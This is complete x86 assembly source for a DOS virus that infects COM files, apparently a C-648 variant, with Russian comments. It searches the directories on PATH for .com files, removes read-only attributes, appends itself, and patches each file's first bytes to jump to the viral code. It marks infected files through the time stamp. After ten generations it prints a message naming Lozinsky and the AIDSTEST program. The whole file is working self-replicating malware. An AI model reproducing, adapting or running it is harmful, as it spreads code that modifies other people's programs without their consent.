code    segment
        assume  cs:code, ds:code

        org     100h

c648m   proc    far
start:
        jmp     vir_start
        nop
        mov     ah,9
        mov     dx, offset murlo
        int 21h
        mov     ax,4c00
        int     21
murlo   db      'Вирус для тов.Лозинского',0dh,0ah,'$'

; смещения переменных
first_bytes     equ     first-vir_data
time            equ     time_file - vir_data
date            equ     date_file - vir_data
address         equ     addr_vir - vir_data
attrib          equ     attib_file - vir_data
vir_dta         equ     new_dta - vir_data
path            equ     pat_word - vir_data
buferok         equ     b_ok - vir_data
full_path       equ     f_path - vir_data
comfile         equ     file_typ - vir_data
bufer1          equ     b1  - vir_data
jumpik          equ     jmp_near - vir_data
reklama         equ     rek_text - vir_data
counter         equ     count - vir_data
cur_date        equ     current_date - vir_data
not_all_str     equ     not_allowed - vir_data
sys_vect        equ     int24_sys - vir_data
int_24          equ     int_24_p - vir_data

dta_time        equ     vir_dta + 16h   ; время создания файла
dta_size        equ     vir_dta + 1ah   ; размер файла
dta_name        equ     vir_dta + 1eh   ; имя файла

SECRET_TIME     equ     1dh             ;индикатор инфицирования
;
;--------------------------------
;
vir_length      equ     vir_end - vir_start + 1
max_len         equ     0feeh - vir_length
min_len         equ     vir_length + 25h
code_shift      equ     vir_data - vir_start
;

VIRUS   Proc    Near

Vir_start:

Cop_loop:
        mov     dx,offset Vir_data
        cld
        mov     si,dx
        add     si,First_bytes
        mov     di,100h ; начальный адрес COM - программы
        movsw           ; цикл займет больше памяти
        movsw           ; 2 слова быстрее 4 байт !
        mov     si,dx   ; воостанавливаем зону данных
        ;
        ;
        ; версию DOS не проверяем - ниже 3.1 сейчас никто не
        ; использует !
        ;
        mov     dx,Vir_DTA ; установка нового значения DTA
        add     dx,si
        mov     ah,1Ah
        int     21
        ;
        ; установка вектора 24H
        ;
        push    es
        mov     ax,3524h  ; сохраняем системную
        int     21        ; настройку
        mov     ax,es
        mov     [si+sys_vect],ax
        mov     [si+sys_vect+2],bx
        ;
        mov     dx,int_24
        add     dx,si
        mov     ax,2524h  ; и устанавливаем наш
        int     21
        ;
        ; установка сегмента  ES на окружение DOS
        ;
        push    si      ; сохраняем сегменты, необходимые
                        ; для дальнейшей работы
        mov     es,ds:2ch  ; смещение слова окружения
        mov     di,0
Scan_envir:
        pop     si      ; настройка смещения данных АРП
        push    si
        add     si,path
        lodsb
        mov     cx,8000h
        repne   scasb
        mov     cx,4
Scan_path:
        lodsb
        scasb
        jnz     Scan_envir ; если не совпадает - повтор анализа
        loop    scan_path  ; проверка всего слова
        ;
        ; Фиксируем положение указателя PATH
        ;
        pop     si
        pop     es
        mov     [si+buferok],di
        mov     bx,si
        add     si,full_path
        mov     di,si
        jmp     short find_first_file
        ;
        ; определяем список каталогов, подлежащих
        ; сканированию
dir_search:
        cmp     word ptr [si+buferok],0
        jne     path_no_empty
        jmp     check_fire
        ; если инфицированы все доступные
        ; через PATH файлы - огонь!
path_no_empty:
        push    ds
        push    si
        mov     ds,es:2ch
        mov     di,si           ; установка смещения
        mov     si,es:[di+buferok]
        add     di,full_path
check1:                         ; копируем  один из каталогов PATH
                                ; в рабочий буфер
        lodsb
        cmp     al,';'          ; разделитель каталогов
        je      fix_position
        cmp     al,0            ; конец описания
        je      end_position
        stosb
        jmp     short check1    ; продолжаем ...
end_position:
        mov     si,0
fix_position:
        pop     bx
        pop     ds
        mov     [bx+buferok],si
        cmp     byte ptr [di-1],'\'
        je      find_first_file
        mov     al,'\'
        stosb
        ;
        ; найти первый файл в сформированном каталоге
        ;
find_first_file:
        mov     [bx+bufer1],di
        mov     si,bx
        add     si,comfile
        mov     cx,6
        rep     movsb
        mov     si,bx
        mov     ah,4eh
        mov     dx,full_path
        add     dx,si
        mov     cx,3            ; атрибуты
        int     21
        jmp     short search_anal
find_next_file:
        mov     ah,4fh
        int     21
search_anal:
        jnc     search_ok
        jmp     short dir_search
search_ok:                      ; проверка времени создания
        mov     ax,word ptr [si+dta_time]
        and     al,secret_time
        cmp     al,secret_time
        je      find_next_file  ; если файл уже поражен...
        ;
        ; проверка размеров поражаемого файла
        ;
        cmp     word ptr [si+dta_size], max_len
        ja      find_next_file  ; слишком длинный
        cmp     word ptr [si+dta_size], min_len
        jb      find_next_file  ; слишком короткий
                                ; возможно - дрозофила !!!
        mov     di,[si+bufer1]
        push    si
        add     si,dta_name
Copy_name:
        lodsb
        stosb
        cmp     al,0
        jne     copy_name
        pop     si
        ;
        ;   проверить, не пытаемся ли мы инфицировать
        ;   COMMAND.COM и если да, то перейти к
        ;   следующему файлу
        ;
        mov     dx,si
        mov     di,si
        add     di,full_path    ;здесь - полное имя файла
Scan_com:
        mov     si,dx
        add     si,not_all_str  ;указатель на строку с
                                ;шаблоном COMMAND.COM
        lodsb
        mov     cx,65d          ;длина буфера имени файла
        repne   scasb
        jcxz    short name_ok
        mov     cx,10d          ;длина шаблона поиска
Scan_word:
        lodsb
        scasb
        jnz     scan_com
        loop    scan_word
        mov     si,dx
        jcxz    find_next_file
name_ok:
        mov     si,dx
        ;
        ; получить текущие атрибуты
        ;
        mov     ax,4300h
        mov     dx,full_path
        add     dx,si
        int     21
        ;
        ; установка необходимых для работы АРП
        ; значений атибутов файлов
	;
        mov     [si+attrib],cx
        mov     ax,4301h
        and     cx,0fffeh          ; убираем READ-ONLY
        mov     dx,full_path
        add     dx,si
        int     21
        jc      find_next_file     ; если диск защищен от записи
        ;
        ; открываем файл для чтения/записи
        ;
        mov     ax,3d02
        mov     dx,full_path
        add     dx,si
        int     21
        jnc     next_step
        jmp     restore_attrib
next_step:
        mov     bx,ax
        mov     ax,5700h
        int     21              ; получаем дату/время
        ;
        mov     [si+time],cx
        mov     [si+date],dx
        ;
        ;       проверка условия включения АРП
        ;       не допускается активизацмя в день заражения
        ;
check_fire:
        mov     ah,2ah          ; получить значение текущей даты
        int     21h
        cmp     dl,[si+cur_date]
        jnz     act_vir
a1:     jmp     restore_attrib
act_vir:
        mov     [si+cur_date],dl ; следующее поколение активизируется
                                 ; только на следующий день
        ;        проверка условия активации
        ;        целевой функции АРП
        ;
        mov     al,[si+counter]  ; счетчик однобайтовый
        dec     al               ; число поколений хранится
        mov     [si+counter],al  ; в переменной COUNT
        ;
        jnz     infection
        ;
        ;  эффекты ....
        ;
FIRE:
        mov     ah,9
        mov     dx,si
        add     dx,reklama ; АРП экспериментальный без
        int     21              ; повреждения данных
        mov     ah,1
        int     21
        cmp     word ptr [si+buferok],0
        je      a1
        ;
infection:
        mov     ah,3fh
        mov     cx,4
        mov     dx,first_bytes  ; читаем первые байты
        add     dx,si
        int     21
        jc      end_of_process
        cmp     ax,4
        jne     end_of_process
        ;
        ; определяем длину поражаемого файла
        ;
        mov     ax,4202h
        xor     cx,cx
        mov     dx,cx
        int     21
        jc      end_of_process
        mov     cx,ax           ; длина программы
        sub     ax,3
        mov     [si+address],ax
        ;
        ; определение начало смещения данных АРП
        ; и установка его в начало АРП
        ;
        add     cx,offset vir_data - vir_start + 100h
        mov     di,si
        sub     di, vir_data - cop_loop -1
        mov     [di],cx
        ;
        ; запись АРП в поражаемую программу
        ;
        mov     ah,40h
        mov     cx,Vir_length
        mov     dx,si
        sub     dx,Code_shift
        int     21h
        jc      end_of_process
        cmp     ax,Vir_length
        jne     end_of_process
        ;
        ;       перемотка файла в начало
        ;
        mov     ax,4200h
        xor     cx,cx
        mov     dx,cx
        int     21h
        jc      end_of_process
        ;
        ; запись в начало файла команды передачи
        ; управления на АРП
        ;
        mov     ah,40h
        mov     cx,4
        mov     dx,si
        add     dx,jumpik
        int     21h
end_of_process:
        ;
        ;       установка индикатора заражения файла
        ;
        mov     dx,[si+date]
        mov     cx,[si+time]
        and     cx,0ffe0h
        or      cx,secret_time
        mov     ax,5701h
        int     21
        ;
        ; закрываем файл
        ;
        mov     ah,3eh
        int     21h
restore_attrib:
        mov     ax,4301h
        mov     cx,[si+attrib]
        mov     dx,full_path
        add     dx,si
        int     21
        ;
restore_DTA:
        push    ds
        mov     ah,1ah
        mov     dx,80
        int     21
        ; восстанавливаем системный обработчик ошибок
        mov     ax,[si+sys_vect]
        mov     ds,ax
        mov     dx,[si+sys_vect+2]
        mov     ax,2524h
        int     21h
        pop     ds
        ;
        xor     ax,ax
        xor     bx,bx
        xor     si,si
        mov     di,100h
        push    di
        xor     di,di
        ret                     ; передача управления программе-носителю
;
; процедура обработки прерывания 24h
;  - критическая ошибка -
int_24_p        equ     $

INT24:  mov     al,3            ; передать обработку в DOS
        iret
;
;-----------------------------
; область данных АРП
;-----------------------------
Vir_data        equ     $

INT24_SYS       dw      0,0

TIME_FILE       dw      0       ; время поражаемого файла
DATE_FILE       dw      0       ; дата  ---" -----" -----

REK_TEXT        db      0dh,0ah
                db      'Я, кажется, подхватила какую-то заразу...',
                db      0dh,0ah
                db      'Срочно звоните Дмитрию Николаевичу Лозинскому'
                db      0dh,0ah
                db      'по телефону 292-40-76 (Москва) и приобретите'
                db      0dh,0ah
                db      '         ПРОГРАММУ AIDSTEST !!!'
                db      7,0dh,0ah,0ah,'$'

ATTIB_FILE      dw      0       ; атрибуты

COUNT           db      10d     ; счетчик поколений АРП до начала
                                ; активации целевой функции

FIRST           dw     9090,9090; первые байты программы

JMP_NEAR        db      0E9h    ; команда внутрисегментного перехода
ADDR_VIR        dw      0       ; адрес начала АРП В команде JMP
                hlt             ; предохранитель от антивирусов

FILE_TYP        db      '*.com' ; шаблон для поиска файлов жертв
                db      0

PAT_WORD        db      'PATH=' ; шаблон для поиска в сегменте среды

B_OK            dw      0       ; рабочие ячейки
B1              dw      0

; поскольку изменение файла COMMAND.COM во многих системах
; защиты фиксируется - его заражать не следует !

NOT_ALLOWED     db      'COMMAND.COM'

CURRENT_DATE    db      1       ; число месяца - дата заражения

vir_end        equ  $

F_PATH         db      65d dup  (20) ; буфер для полного имени файла

NEW_DTA        db     2ch  dup  (0)  ; новый DTA, устанавливаемый АРП


;
           ; для дальнейшей работы

VIRUS           Endp

c648m           endp

code    ends
        end     C648M
